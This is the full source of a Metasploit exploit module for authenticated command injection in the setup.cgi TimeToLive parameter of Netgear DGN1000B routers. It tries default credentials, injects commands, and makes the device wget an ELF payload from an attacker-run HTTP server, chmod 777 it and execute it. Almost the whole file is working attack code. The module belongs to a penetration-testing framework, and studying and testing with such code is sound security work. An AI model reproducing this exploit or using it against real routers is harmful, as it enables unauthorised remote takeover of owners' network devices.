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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name'=> 'Netgear DGN1000B setup.cgi Remote Command Execution', 'Description' => %q{ Some Netgear Routers are vulnerable to authenticated OS Command injection. The vulnerability exists in the web interface, specifically in the setup.cgi component, when handling the TimeToLive parameter. Default credentials are always a good starting point, admin/admin or admin/password could be a first try. Since it is a blind os command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. }, 'Author'=> [ 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References'=> [ [ 'BID', '57836' ], [ 'EDB', '24464' ], [ 'OSVDB', '89985' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-005' ] ], 'DisclosureDate' => 'Feb 06 2013', 'Privileged' => true, 'Platform' => ['linux','unix'], 'Payload'=> { 'DisableNops' => true }, 'Targets'=> [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsbe Payload', { 'Arch' => ARCH_MIPSBE, 'Platform' => 'linux' } ], ], 'DefaultTarget'=> 1, )) register_options( [ OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]) ], self.class) end def request(cmd,user,pass,uri) begin res = send_request_cgi( { 'uri'=> uri, 'method' => 'POST', 'authorization' => basic_auth(user,pass), 'vars_post' => { "UPnP" => "UPnP", "AdverTime" => rand_text_numeric(2), "TimeToLive" => "<code>#{cmd}</code>", "save" => "+Anwenden", "todo" => "save", "this_file" => "upnp.htm", "next_file" => "upnp.htm", "h_UPnP" => "enable", "hiddenAdverTime" => rand_text_numeric(2), "hiddenTimeToLive" => rand_text_numeric(1) } }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end end def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) uri = '/setup.cgi' user = datastore['USERNAME'] pass = datastore['PASSWORD'] rhost = datastore['RHOST'] rport = datastore['RPORT'] # # testing Login # print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") begin res = send_request_cgi({ 'uri' => uri, 'method'=> 'GET', 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end if target.name =~ /CMD/ if not (datastore['CMD']) fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end return end #thx to Juan for his awesome work on the mipsbe elf support @pl = generate_payload_exe @elf_sent = false # # start our server # resource_uri = '/' + downfile if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end #we use SRVHOST as download IP for the coming wget command. #SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end # # download payload # print_status("#{rhost}:#{rport} - Asking the Netgear device to download #{service_url}") #this filename is used to store the payload on the device filename = rand_text_alpha_lower(8) #not working if we send all command together -> lets take three requests cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download if (datastore['DOWNHOST']) print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload end register_file_for_cleanup("/tmp/#{filename}") # # chmod # cmd = "chmod 777 /tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Netgear device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # # execute # cmd = "/tmp/#{filename}" print_status("#{rhost}:#{rport} - Asking the Netgear device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @elf_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end end |
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